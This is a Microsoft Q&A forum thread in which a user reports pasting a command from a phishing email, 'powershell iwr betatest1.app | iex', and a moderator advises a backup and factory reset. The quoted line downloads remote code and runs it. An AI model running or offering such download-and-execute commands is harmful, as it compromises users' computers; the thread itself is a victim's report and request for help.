Installed code in command prompt - do I have a virus or trojan

Courtney Catley 0 Reputation points
2025-06-02T03:29:10.29+00:00

I realise this was a mistake but I got an email from a brand I follow closely and the email said "You have been selected to participate in our exclusive app testing program! Do not miss the rewards!" the link in the email went to [harmful link removed] and in the email it said to copy & paste code into Command Prompt.

Again, I know this was stupid, but I did it. The code they said to enter into Command Prompt was powershell -Command "iwr betatest1.app | iex"

I've run scans with defender & malwarebytes and neither found any threats on my computer but I'm still paranoid. Is there a way to delete that code I entered or make sure it is not threatening my computer?

Thank you

Community Center Not monitored
0 comments No comments
{count} votes

1 answer

Sort by: Most helpful
  1. Dora-T 1,490 Reputation points Microsoft External Staff Moderator
    2025-06-02T04:24:34.58+00:00

    Hi @Courtney Catley

    Thanks for reaching out to the Microsoft Q&A Forum.  

    I completely understand your concern about the code you ran and wanting to ensure your computer is safe. It's totally normal to feel a bit uneasy after something like that. 

    Unfortunately, as a moderator, I don't have the specialized tools or direct system access to analyze the specific code you executed for malware. However, to help ensure your computer's security and minimize any potential remaining risks, I strongly recommend taking these actions: 

    First, back up all your important files and documents to an external hard drive or cloud storage. This is crucial to protect your personal data before proceeding. 

    Next, perform a full system reset (factory reset). This will remove any hidden malicious code and restore your computer to a clean state. You can find this option in Windows Settings under "Recovery" or "Reset this PC." Choose the option that removes all files and apps. 

     After completing the steps, please check if there are any remaining issues. I would appreciate it if you could let me know.

    Thank you for your understanding.  


    If the answer is helpful, please click "Accept Answer" and kindly upvote it. If you have extra questions about this answer, please click "Comment".    

    Note: Please follow the steps in our documentation to enable e-mail notifications if you want to receive the related email notification for this thread.


Your answer

Answers can be marked as Accepted Answers by the question author, which helps users to know the answer solved the author's problem.